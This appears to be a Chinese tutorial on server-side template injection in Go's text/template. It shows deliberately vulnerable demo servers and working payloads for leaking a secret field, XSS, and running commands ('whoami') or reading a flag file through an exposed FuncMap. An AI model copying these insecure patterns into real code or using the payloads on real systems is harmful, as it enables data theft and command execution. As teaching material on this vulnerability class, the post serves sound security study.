Go 常见模板库有:
1 2
| text/template html/template
|
Go 的模板不像 Python Jinja2 那样容易直接拿到对象、反射、系统调用,所以默认情况下的利用是有限的
漏洞检测
1 2 3
| {{.}} {{printf "%#v" .}} {{range .}}{{.}}{{end}}
|
{{.}} 表示输出当前的 “数据对象”
例如:
1 2
| tmpl := template.Must(template.New("x").Parse("Hello {{.}}")) tmpl.Execute(w, "Alice")
|
渲染结果是:
这里的 . 就是传给模板的当前数据,也就是 “Alice”
如果传入的是结构体:
1 2 3 4
| type User struct { Name string Age int }
|
模板可以写:
1 2
| Name: {{.Name}} Age: {{.Age}}
|
{{.}} 代表整个 User 对象
{{.Name}} 代表对象里的 Name 字段
漏洞利用
信息泄露
用户输入被当作模板执行,且模板上下文里放了敏感字段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package main
import ( "fmt" "net/http" "text/template" )
type User struct { Name string Role string Secret string }
func handler(w http.ResponseWriter, r *http.Request) { tpl := r.URL.Query().Get("tpl") if tpl == "" { tpl = "Hello {{.Name}}" }
user := User{ Name: "guest", Role: "user", Secret: "flag{ssti_info_leak}", }
t, err := template.New("ssti").Parse(tpl) if err != nil { http.Error(w, err.Error(), 500) return }
t.Execute(w, user) }
func main() { http.HandleFunc("/", handler) fmt.Println("http://127.0.0.1:8080/?tpl=Hello") http.ListenAndServe(":8080", nil) }
|
可以读取模板上下文里的字段
1 2 3
| {{.Name}} {{.Role}} {{.Secret}}
|
xss
html/template 会根据 HTML 上下文自动转义输出,而 text/template 不会
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package main
import ( "fmt" "net/http" "text/template" )
func handler(w http.ResponseWriter, r *http.Request) { tpl := r.URL.Query().Get("tpl") if tpl == "" { tpl = "<h1>Hello {{.}}</h1>" }
name := r.URL.Query().Get("name") if name == "" { name = "guest" }
w.Header().Set("Content-Type", "text/html; charset=utf-8")
t, err := template.New("page").Parse(tpl) if err != nil { http.Error(w, err.Error(), 500) return }
t.Execute(w, name) }
func main() { http.HandleFunc("/", handler) fmt.Println("http://127.0.0.1:8080/") http.ListenAndServe(":8080", nil) }
|
借助 Go 模板提供的字符串打印功能,可以直接输出XSS语句
1 2
| {{"<script>alert(/xss/)</script>"}} {{print "<script>alert(/xss/)</script>"}}
|
命令执行&任意文件读取
这个就比较刻意了,通过 FuncMap 暴露了危险函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package main
import ( "fmt" "net/http" "os" "os/exec" "text/template" )
func readFile(path string) string { data, err := os.ReadFile(path) if err != nil { return err.Error() } return string(data) }
func runCmd(name string) string { out, err := exec.Command(name).CombinedOutput() if err != nil { return err.Error() + "\n" + string(out) } return string(out) }
func handler(w http.ResponseWriter, r *http.Request) { tpl := r.URL.Query().Get("tpl") if tpl == "" { tpl = "Hello {{.}}" }
funcs := template.FuncMap{ "read": readFile, "cmd": runCmd, }
t, err := template.New("ssti").Funcs(funcs).Parse(tpl) if err != nil { http.Error(w, err.Error(), 500) return }
t.Execute(w, "guest") }
func main() { http.HandleFunc("/", handler) fmt.Println("http://127.0.0.1:8080/") http.ListenAndServe(":8080", nil) }
|
调用函数
1 2
| {{ cmd "whoami" }} {{ read "C:/flag.txt" }}
|
Go SSTI初探
template